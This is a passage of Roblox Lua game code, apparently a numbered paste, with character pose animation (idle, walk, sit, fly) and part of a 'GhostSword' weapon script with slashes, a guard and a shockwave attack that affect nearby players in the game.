  2268. local cam = workspace.CurrentCamera
  2269. local alpha = .2
  2270. sparkles.Enabled = senabled and flying and tor.Velocity.magnitude > 3
  2271. pl.Enabled = lenabled
  2272. if state ~= "fly" then
  2273. if type(sitting) == "table" then
  2274. gyro.maxTorque = Vector3.new(1,1,1)*4e6
  2275. vel.maxForce = Vector3.new(1,1,1)*4e5
  2276. gyro.cframe = sitting.tar.CFrame * sitting.cf
  2277. vel.velocity = (gyro.cframe.p-root.Position)*10
  2278. else
  2279. gyro.maxTorque,vel.maxForce = Vector3.new(),Vector3.new()
  2280. end
  2281. end
  2282. if sitting then
  2283. state = "sit"
  2284. end
  2285. tw.MaxVelocity,rh.MaxVelocity,lh.MaxVelocity,rs.MaxVelocity,ls.MaxVelocity,nk.MaxVelocity = 0,0,0,0,0,0
  2286. tw.CurrentAngle,rh.CurrentAngle,lh.CurrentAngle,rs.CurrentAngle,ls.CurrentAngle,nk.CurrentAngle = 0,0,0,0,0,0
  2287.  
  2288. local hasRobe = outfit == 1
  2289.  
  2290. if state == "idle" then
  2291. hum.PlatformStand = false
  2292. local breathing = math.sin(tick()*2)
  2293. local tilt = .02 + breathing*.03
  2294. w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
  2295. w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
  2296.  
  2297. tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
  2298. rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt,hasRobe and 0 or -.1,hasRobe and 0 or .06),alpha)
  2299. lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt,hasRobe and 0 or .1,hasRobe and 0 or -.06),alpha)
  2300. rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt,0,.1),alpha)
  2301. ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt,0,-.1),alpha)
  2302. nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.05-.03,0,0),alpha)
  2303. elseif state == "inair" then
  2304. hum.PlatformStand = false
  2305. local wings = math.sin(tick()*80)
  2306. w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.15+wings*.3,0),.6)
  2307. w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.15-wings*.3,0),.6)
  2308. local alpha = .15
  2309. local tilt = .05
  2310. local wavey = math.sin(tick()*3)
  2311. tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
  2312. rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+wavey*.1,0,hasRobe and 0 or .02),alpha)
  2313. lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt-wavey*.1,0,hasRobe and 0 or -.02),alpha)
  2314. rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt-wavey*.07,0,.01),alpha)
  2315. ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+wavey*.07,0,-.01),alpha)
  2316. nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+.2,0,0),alpha)
  2317. elseif state == "walk" then
  2318. hum.PlatformStand = false
  2319. local walking = math.sin(tick()*25)
  2320. local breathing = math.sin(tick()*2)
  2321. local tilt = -.03-breathing*.02+walking*.01
  2322. alpha = .6
  2323. w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.05+breathing*.01+walking*.05,0),alpha)
  2324. w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.05-breathing*.01+walking*.05,0),alpha)
  2325.  
  2326. tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,-walking*.08,0),alpha)
  2327. rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+walking*.3,0,hasRobe and 0 or .02),alpha)
  2328. lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt-walking*.3,0,hasRobe and 0 or -.02),alpha)
  2329. rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt+.05-walking*.25,0,.01),alpha)
  2330. ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+.05+walking*.25,0,-.01),alpha)
  2331. nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.04,walking*.07,0),alpha)
  2332. elseif state == "sit" then
  2333. hum.Sit = false
  2334. hum.PlatformStand = true
  2335. local breathing = math.sin(tick()*2)
  2336. local upvec = root.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))
  2337. if upvec.Y > .4 then
  2338. local tilt = -.55+breathing*.015
  2339. w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
  2340. w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
  2341. tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0)+Vector3.new(0,-1.7,0)*modelScale,alpha)
  2342. rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(-tilt+1.57,0,hasRobe and 0 or .6),alpha)
  2343. lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-tilt+1.57,0,hasRobe and 0 or -.6),alpha)
  2344. rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-tilt+.3,0,-.1)*CFrame.Angles(hasRobe and .3 or 0,hasRobe and .2 or 0,hasRobe and -.2 or 0)+(hasRobe and 0 or 1)*Vector3.new(-.85,-.25,-.25)*modelScale,alpha)
  2345. ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(-tilt+.3,0,.1)*CFrame.Angles(hasRobe and .3 or 0,hasRobe and -.2 or 0,hasRobe and .2 or 0)+(hasRobe and 0 or 1)*Vector3.new(.85,-.25,-.25)*modelScale,alpha)
  2346. nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt+breathing*.04-.03,0,math.sin(tick()*4)*.06),alpha)
  2347. else -- wallhug
  2348. local breathing = math.sin(tick()*5)
  2349. local tilt = -1.55+breathing*.015
  2350. w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.01+breathing*.01,0),alpha)
  2351. w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.01-breathing*.01,0),alpha)
  2352. tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0)+Vector3.new(0,-2.5,0)*modelScale,alpha)
  2353. rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(.2,0,hasRobe and 0 or .5)+Vector3.new(0,hasRobe and 0 or .2,0)*modelScale,alpha)
  2354. lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(.2,0,hasRobe and 0 or -.5)+Vector3.new(0,hasRobe and 0 or .2,0)*modelScale,alpha)
  2355. rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(2.9,0,.8)+Vector3.new(-.2,.4,0)*modelScale,alpha)
  2356. ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(2.9,0,-.8)+Vector3.new(.2,.4,0)*modelScale,alpha)
  2357. nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(breathing*.04+.7,0,0),alpha)
  2358. end
  2359. elseif state == "fly" then
  2360. hum.PlatformStand = true
  2361. gyro.maxTorque = Vector3.new(1,1,1)*4e6
  2362. vel.maxForce = Vector3.new(1,1,1)*4e5
  2363.  
  2364. local velocity = Vector3.new((kd.d and 1 or 0)+(kd.a and -1 or 0),0,(kd.s and 1 or 0)+(kd.w and -1 or 0))
  2365. velocity = cam.CoordinateFrame:vectorToWorldSpace(velocity)
  2366. local maxspeed = 40-(velocity.magnitude > 0 and velocity.unit.Y*20 or 0)
  2367. if velocity.magnitude > 0 then
  2368. flyspeed = lerp(flyspeed,maxspeed,.1)
  2369. flydir = flydir:Lerp(velocity.unit,.4).unit
  2370. hoverheight = nil
  2371. else
  2372. flyspeed = lerp(flyspeed,0,.3)
  2373. flydir = (flydir*Vector3.new(1,0,1)).unit
  2374. hoverheight = hoverheight or root.Position.Y
  2375. end
  2376. vel.velocity = flydir.unit * flyspeed
  2377. if hoverheight then
  2378. vel.velocity = vel.velocity + Vector3.new(0,hoverheight-root.Position.Y,0)
  2379. end
  2380. gyro.cframe = CFrame.new(Vector3.new(),flydir*Vector3.new(1,0,1))
  2381.  
  2382. rl.CanCollide,ll.CanCollide = true,true
  2383.  
  2384. local wings = math.sin(tick()*80)
  2385. w1.C0 = clerp(w1.C0,w10*CFrame.Angles(0,-.15+wings*.3,0),.6)
  2386. w2.C0 = clerp(w2.C0,w20*CFrame.Angles(0,.15-wings*.3,0),.6)
  2387. local alpha = .15
  2388. local flytilt = (flyspeed/maxspeed)
  2389. local tilt = flytilt*-1.4 + math.asin(gyro.cframe:vectorToObjectSpace(flydir).unit.Y)
  2390. local wavey = math.sin(tick()*6)
  2391. tw.C0 = clerp(tw.C0,c0.tw*CFrame.Angles(tilt,0,0),alpha)
  2392. rh.C0 = clerp(rh.C0,c0.rh*CFrame.Angles(wavey*.1,hasRobe and 0 or -.08,hasRobe and 0 or .1),alpha)
  2393. lh.C0 = clerp(lh.C0,c0.lh*CFrame.Angles(-wavey*.1,hasRobe and 0 or .08,hasRobe and 0 or -.1),alpha)
  2394. rs.C0 = clerp(rs.C0,c0.rs*CFrame.Angles(-wavey*.15,-.08,.1),alpha)
  2395. ls.C0 = clerp(ls.C0,c0.ls*CFrame.Angles(wavey*.15,.08,-.1),alpha)
  2396. nk.C0 = clerp(nk.C0,c0.nk*CFrame.Angles(-tilt*.8,0,0),alpha)
  2397. end
  2398. end
  2399. ]==]
  2400.  
  2401. GhostSword = [==[
  2402. Me = game:service("Players").LocalPlayer
  2403. Char = Me.Character
  2404. lastpoint = Vector3.new(0, 0, 0)
  2405. Modes = {"Ranged", "Blocking", "Normal"}
  2406. Mode = Modes[Number]
  2407. leds = {}
  2408. Jumped = 0
  2409. Jumping = false
  2410. AbletoJump = true
  2411. Char.Humanoid.WalkSpeed = 30
  2412. Combo = 0
  2413. Guarding = false
  2414. attackdebounce = false
  2415. Selected = false
  2416. NormalModeColor = "Cyan"
  2417. RangedModeColor = "Really red"
  2418. BlockModeColor = "New Yeller"
  2419. BaseColor = "White"
  2420. Activated = false
  2421. LeftArm = Char["Left Arm"]
  2422. RightArm = Char["Right Arm"]
  2423. necko=CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2424. RSH, LSH = nil, nil
  2425. if script.Parent.className ~= "HopperBin" then
  2426. h = Instance.new("HopperBin", Me.Backpack)
  2427. h.Name = "[[>> BrannZeus <<]] Blade"
  2428. script.Name = "Made by: [[>> BrannZeus© <<]]"
  2429. script.Parent = h
  2430. end
  2431. bin = script.Parent
  2432. Model = Instance.new("Model", Char)
  2433. Model.Name = "[[>> BrannZeus <<]] Blade"
  2434. Make = {["P"] = function(parent, x,y,z, color, transparency, cancollide, anchored)
  2435. c = Instance.new("Part",Model)
  2436. c.TopSurface,c.BottomSurface = 0,0
  2437. c.Locked = true
  2438. c.formFactor = "Custom"
  2439. c.Size = Vector3.new(x,y,z)
  2440. if color ~= "random" then
  2441. c.BrickColor = BrickColor.new(color)
  2442. else c.BrickColor = BrickColor:random() end
  2443. c.Transparency = transparency
  2444. c.CanCollide = cancollide
  2445. if anchored ~= nil then c.Anchored = anchored end
  2446. if parent ~= nil then c.Parent = parent end
  2447. return c
  2448. end;
  2449. ["BG"] = function(parent)
  2450. local c = Instance.new("BodyGyro",parent)
  2451. c.P = 10e+15
  2452. c.cframe = parent.CFrame
  2453. c.maxTorque = Vector3.new(c.P,c.P,c.P)
  2454. return c
  2455. end;
  2456. ["BP"] = function(parent, pos)
  2457. local bp = Instance.new("BodyPosition",parent)
  2458. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2459. bp.position = pos
  2460. return bp
  2461. end;
  2462. ["F"] = function(parent, size, heat, color, secondarycolor, enabled)
  2463. f = Instance.new("Fire",parent)
  2464. f.Size = size
  2465. f.Heat = heat
  2466. if enabled ~= nil then f.Enabled = enabled end
  2467. if color ~= nil then f.Color = BrickColor.new(color).Color end
  2468. if secondarycolor ~= nil then f.SecondaryColor = BrickColor.new(secondarycolor).Color end
  2469. return f
  2470. end;
  2471. ["FM"] = function(parent, meshid, x,y,z, meshtexture)
  2472. if meshid == "cylinder" then
  2473. mesh = Instance.new("CylinderMesh",parent)
  2474. mesh.Scale = Vector3.new(x,y,z)
  2475. return mesh
  2476. else
  2477. mesh = Instance.new("SpecialMesh",parent)
  2478.  
  2479. if meshid ~= "sphere" then
  2480. if type(meshid) == "number" then mesh.MeshId = "rbxassetid://"..meshid else
  2481. mesh.MeshId = "rbxassetid://"..meshids[meshid]
  2482. end
  2483.  
  2484. else mesh.MeshType = 3 end
  2485.  
  2486. mesh.Scale = Vector3.new(x,y,z)
  2487.  
  2488. if meshtexture ~= nil then
  2489. if type(meshtexture) == "number" then mesh.TextureId = "rbxassetid://"..meshtexture else
  2490. mesh.TextureId = "rbxassetid://"..textureids[meshtexture] end
  2491.  
  2492. end
  2493.  
  2494. return mesh
  2495. end
  2496. end}
  2497. M = {["Cos"] = function(a) return math.cos(a) end;
  2498. ["Sin"] = function(a) return math.sin(a) end;
  2499. ["Rad"] = function(a) return math.rad(a) end}
  2500. FakeTorso = Make.P(Char, 1,1,1, "White", 1, false, true)
  2501. FakeTorso.BrickColor = Char.Torso.BrickColor
  2502. Mesh = Instance.new("BlockMesh", FakeTorso)
  2503. Mesh.Scale = Char.Torso.Size
  2504. BaseThing = Make.P(Model, 1,1,1, NormalModeColor, 1 ,false, true)
  2505. BaseMesh = Make.FM(BaseThing,68075671 , 0.5, 0.5, 0.5)
  2506. Handle = Make.P(Model, 0.3,1.5,0.3, BaseColor, 1 ,false, true)
  2507. Tip2 = Make.P(Model, 0.23, 0.1, 0.7, NormalModeColor, 1, false, true)
  2508. Tip1 = Make.P(Model, 0.23, 0.1, 0.7, NormalModeColor, 1, false, true)
  2509. BigTip1 = Make.P(Model, 0.22, 0.4, 0.8, BaseColor, 1, false, true)
  2510. BigTip2 = Make.P(Model, 0.22, 0.4, 0.8, BaseColor, 1, false, true)
  2511. HitBox = Make.P(Model, 2.5, 0.25, 4.3, "White", 1, false, true)
  2512. HitBox.Name = "HitBox"
  2513. Diamond = Make.P(Model, 1,1,1, BaseColor, 1 ,false, true)
  2514. DiamondMesh = Make.FM(Diamond,9756362 , 0.3, 0.3, 0.5)
  2515. HandleSturf = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
  2516. HandleSturf2 = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
  2517. HandleSturf3 = Make.P(Model, 0.31,0.31,0.29, NormalModeColor, 1 ,false, true)
  2518. LongSword = Make.P(Model, 0.8, 0.22, 3.7, BaseColor, 1, false, true)
  2519. LongSword2 = Make.P(Model, 0.39, 0.23, 3.6, NormalModeColor, 1, false, true)
  2520. BigWedgeMesh2 = Instance.new("SpecialMesh", BigTip2)
  2521. BigWedgeMesh2.MeshType = "Wedge"
  2522. BigWedgeMesh1 = Instance.new("SpecialMesh", BigTip1)
  2523. BigWedgeMesh1.MeshType = "Wedge"
  2524. WedgeMesh1 = Instance.new("SpecialMesh", Tip1)
  2525. WedgeMesh1.MeshType = "Wedge"
  2526. WedgeMesh1.Scale = Vector3.new(1, 1, 1)
  2527. WedgeMesh2 = Instance.new("SpecialMesh", Tip2)
  2528. WedgeMesh2.MeshType = "Wedge"
  2529. WedgeMesh2.Scale = Vector3.new(1, 1, 1)
  2530. LongMesh = Instance.new("BlockMesh", LongSword)
  2531. LongMesh.Scale = Vector3.new(1, 1, 1)
  2532. LongMesh2 = Instance.new("BlockMesh", LongSword2)
  2533. LongMesh2.Scale = Vector3.new(1, 1, 1)
  2534. HandleWedge1 = Make.P(Model, 0.215, 0.9, 1.5, BaseColor, 1, false, true)
  2535. HandleWedge2 = Make.P(Model, 0.24, 0.9, 1.5, BaseColor, 1, false, true)
  2536. WedgeMesh11 = Instance.new("SpecialMesh", HandleWedge2)
  2537. WedgeMesh11.MeshType = "Wedge"
  2538. WedgeMesh11.Scale = Vector3.new(1, 1, 1)
  2539. WedgeMesh22 = Instance.new("SpecialMesh", HandleWedge1)
  2540. WedgeMesh22.MeshType = "Wedge"
  2541. WedgeMesh22.Scale = Vector3.new(1, 1, 1)
  2542. Handle2 = Make.P(Model, 2, 0.22, 0.4, BaseColor, 1, false, true)
  2543. HandleBlock = Instance.new("BlockMesh", Handle2)
  2544. HandleBlock.Scale = Vector3.new(1, 1, 1)
  2545. function Dash()
  2546. Activated = true
  2547. Holding = true
  2548. for i = 0,1,0.1 do
  2549. wait()
  2550. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,0)
  2551. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.4*i,0,0.3*i)
  2552. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2553. RW.C0 = CFrame.new(1.5-0.8*i,0.5,-0.8*i) * CFrame.fromEulerAnglesXYZ(1.2*i,0,-1.2*i)
  2554. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,1*i,0)
  2555. end
  2556. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit, math.random(20, 30)) end)
  2557. local vel = Instance.new("BodyVelocity", Char.Torso)
  2558. vel.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2559. vel.velocity = Char.Head.CFrame.lookVector * 60
  2560. while Holding == true do
  2561. wait()
  2562. Effect(Char.Torso, 3.5, 2, 3.5, 0, 0,1, 1.5,0,0,BrickColor.new(NormalModeColor), 20329976)
  2563. vel.velocity = Char.Head.CFrame.lookVector * 50
  2564. end
  2565. for i = 0,1,0.1 do
  2566. wait()
  2567. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-1.4+1.4*i,0,-0.3+0.3*i)
  2568. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2569. RW.C0 = CFrame.new(1.5,0.5,-0.8+0.8*i) * CFrame.fromEulerAnglesXYZ(-1.2+1.2*i,0,-1.2+1.2*i)
  2570. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2571. end
  2572. Hitdmg:disconnect()
  2573. vel:remove()
  2574. Activated = false
  2575. end
  2576. function FirstSlash()
  2577. Activated = true
  2578. Combo = 1
  2579. for i = 0,1,0.1 do
  2580. wait()
  2581. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5*i,0,-0.3*i)
  2582. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2583. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+2*i,0,0.3*i)
  2584. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.5, 0.5*i, 0)
  2585. end
  2586. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
  2587. for i = 0,1,0.1 do
  2588. wait()
  2589. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(-0.5+0.5*i,0,-0.3+0.3*i)
  2590. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2591. RW.C0 = CFrame.new(1.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(0.5+2,0,0.3)
  2592. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(-0.5+2.3*i,0.5, 0)
  2593. end
  2594. wait(0.2)
  2595. Activated = false
  2596. Hitdmg:disconnect()
  2597. end
  2598.  
  2599. function SecondSlash()
  2600. Activated = true
  2601. Combo = 2
  2602. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
  2603. for i = 0,1,0.1 do
  2604. wait()
  2605. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2606. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2607. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,0,0)
  2608. RW.C1 = CFrame.new(0, 1.55, 0) * CFrame.fromEulerAnglesXYZ(-1*i,-1.2*i,0)
  2609. end
  2610. wait(0.2)
  2611. Activated = false
  2612. Hitdmg:disconnect()
  2613. end
  2614. function ThirdSlash()
  2615. Activated = true
  2616. Combo = 3
  2617. Hitdmg=HitBox.Touched:connect(function(hit) Damage(hit,math.random(10,20)) end)
  2618. coroutine.resume(coroutine.create(function()
  2619. for i = 0,1,0.1 do
  2620. wait()
  2621. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2622. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2623. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2624. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
  2625. end
  2626. end))
  2627. wait(0.2)
  2628. Activated = false
  2629. Hitdmg:disconnect()
  2630. end
  2631. function Jump()
  2632. Jumped = Jumped +1
  2633. Jumping = true
  2634. Jumpp = Instance.new("BodyVelocity", Char.Torso)
  2635. Jumpp.P = 500
  2636. Jumpp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2637. Jumpp.velocity = Char.Torso.Position + Vector3.new(0, 80, 0)
  2638. game:service("Debris"):AddItem(Jumpp, 0.0000000000001)
  2639. Jumpp:Destroy(wait(0.0000000000001))
  2640. Jumpp:Remove(wait(0.0000000000001))
  2641. wait(1)
  2642. AbletoJump = false
  2643. Jumping = false
  2644. end
  2645. function SuperCombo()
  2646. Activated = true
  2647. for i = 0,1,0.1 do
  2648. wait()
  2649. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(-0.3*i,0,0)
  2650. Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, 0, 0)
  2651. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,-0.5*i)
  2652. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2653. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5*i)
  2654. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2655. end
  2656. sturf = Make.P(Char, 1,1,1, NormalModeColor, 1, false, true)
  2657. sturf.CFrame = Char.Torso.CFrame*CFrame.new(0,-2.8,0)
  2658. msh = Make.FM(sturf,'cylinder',0,0,0)
  2659. for i = 0,1,0.1 do wait(0.025)
  2660. sturf.Transparency = sturf.Transparency -0.06
  2661. msh.Scale = msh.Scale + Vector3.new(1.5,0.025,1.5)
  2662. end
  2663. for i, v in pairs(game:service("Players"):GetPlayers()) do
  2664. if v.Name ~= Me.Name and (v.Character.Torso.Position - Char.Torso.Position).magnitude < 10 then
  2665. EBp = Instance.new("BodyPosition", v.Character.Torso)
  2666. EBp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2667. EBp.position = v.Character.Torso.Position + Vector3.new(0, 10, 0)
  2668. game:service("Debris"):AddItem(EBp,1)
  2669. end
  2670. end
  2671.  
  2672. wait(1)
  2673. Char.Torso.Neck.C0=necko
  2674. sturf:remove()
  2675. Activated = false
  2676. end
  2677. function Guard()
  2678. Activated = true
  2679. Guarding = true
  2680. Mode = "Blocking"
  2681. for i = 0,1,0.1 do
  2682. wait()
  2683. Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, -0.25*i, 0)
  2684. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,0.5*i)
  2685. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.5*i,0,-1.25*i)
  2686. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2687. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,0.4*i)
  2688. end
  2689. SaveHealth = Char.Humanoid.Health
  2690. taco = Instance.new("Part",Char)
  2691. taco.Size = Vector3.new(1,1,1)
  2692. taco.CanCollide = false
  2693. taco.Anchored = true
  2694. taco.Transparency = 1
  2695. while Guarding == true do wait()
  2696. for i = 0,1,0.1 do
  2697. wait()
  2698. taco.CFrame = Char.Torso.CFrame*CFrame.new(-3,0,0)*CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)
  2699. Shield = Effect(Char.Torso, 4,4,3, -4,0,-1, math.pi/-2,0,1,BrickColor.new(BlockModeColor), 60120613)
  2700. end
  2701. if Char.Humanoid.Health < SaveHealth then
  2702. DamageTaken = SaveHealth - Char.Humanoid.Health
  2703. end
  2704. pcall(function() Char.Humanoid.Health:TakeDamage(DamageTaken/999999999999999999999999999999) end)
  2705. coroutine.resume(coroutine.create(function()
  2706. for i, x in pairs(game:service("Players"):GetPlayers()) do
  2707. if x.Name ~= Me.Name and (x.Character.Torso.Position - RightArm.Position).magnitude < 7 then
  2708. derp = Instance.new("BodyVelocity", x.Character.Torso)
  2709. derp.P = 200
  2710. derp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2711. derp.velocity = taco.CFrame.lookVector * 80
  2712. game:service("Debris"):AddItem(derp,0.2)
  2713. end
  2714. end
  2715. end))
  2716. end
  2717. taco:Destroy()
  2718. coroutine.resume(coroutine.create(function()
  2719. for i = 0,1,0.1 do
  2720. wait()
  2721. Char.Torso.Neck.C0=necko*CFrame.fromEulerAnglesXYZ(0,0,-0.5+0.5*i)
  2722. Char.Torso.CFrame = Char.Torso.CFrame*CFrame.new(0, 0, 0)*CFrame.fromEulerAnglesXYZ(0, 0.25*i, 0)
  2723. end
  2724. end))
  2725. Activated = false
  2726. Mode = "Normal"
  2727. end
  2728. function Shockwave()
  2729. Activated = true
  2730. Mode = "Ranged"
  2731. derpin = true
  2732. for i = 0,1,0.1 do
  2733. wait()
  2734. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0.5+1.3*i,0,0.3*i)
  2735. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  2736. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2737. RW.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(-0.9*i,0,0)
  2738. end
  2739. Gyro = Instance.new("BodyGyro", Char.Torso)
  2740. Gyro.D = 50
  2741. Gyro.cframe = Char.Torso.CFrame
  2742. Gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  2743. bp = Make.BP(Char.Torso,Char.Torso.Position+Vector3.new(0,35,0))
  2744. coroutine.resume(coroutine.create(function()
  2745. while derpin == true do wait()
  2746. for i = 0,1,0.1 do wait()
  2747. Derp = Effect2(Char.Torso, 3*i,3*i,3*i, 0,0.5,-2,BrickColor.new(RangedModeColor),Char)
  2748. end
  2749. end
  2750. end))
  2751. wait(2)
  2752. bp.position = Char.Torso.Position+Vector3.new(0,-35,0)
  2753. coroutine.resume(coroutine.create(function()
  2754. for i = 0,1,0.1 do wait()
  2755. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
  2756. LW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2757. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(1,1,0)
  2758. RW.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i,0,0)
  2759. lel = Effect(Char.Torso, 10*i,1.2*i,10*i, 0,-2,0, 0,0,0,BrickColor.new(RangedModeColor),20329976)
  2760. end
  2761. derpin = false
  2762. for i, v in pairs(game:service("Players"):GetPlayers()) do
  2763. if v.Name ~= Me.Name and (v.Character.Torso.Position - Char.Torso.Position).magnitude < 20 then
  2764. v.Character.Humanoid:TakeDamage(999999999999999999999999999)
  2765. v.Character.Humanoid.Sit = true
  2766. EBV = Instance.new("BodyVelocity", v.Character.Torso)
  2767. EBV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2768. EBV.velocity = v.Character.Torso.CFrame.lookVector * -30
  2769. game:service("Debris"):AddItem(EBV,0.2)
  2770. end
  2771. end
  2772. end))
  2773. wait(1)
  2774. Gyro:remove()
  2775. bp:remove()
  2776. wait(1)
  2777. Mode = "Normal"
  2778. Activated = false
  2779. end
  2780. function bdown(mouse)
  2781. if Activated == true then return end
  2782. if Combo == 0 then
  2783. FirstSlash()
  2784. coroutine.resume(coroutine.create(function()
  2785. wait(0.5)
  2786. if Activated == false then
  2787. Combo = 0
  2788. end
  2789. end))
  2790. elseif Combo == 1 then
  2791. SecondSlash()
  2792. coroutine.resume(coroutine.create(function()
  2793. wait(0.5)
  2794. if Activated == false then
  2795. Combo = 0
  2796. end
  2797. end))
  2798. elseif Combo == 2 then
  2799. ThirdSlash()
  2800. coroutine.resume(coroutine.create(function()
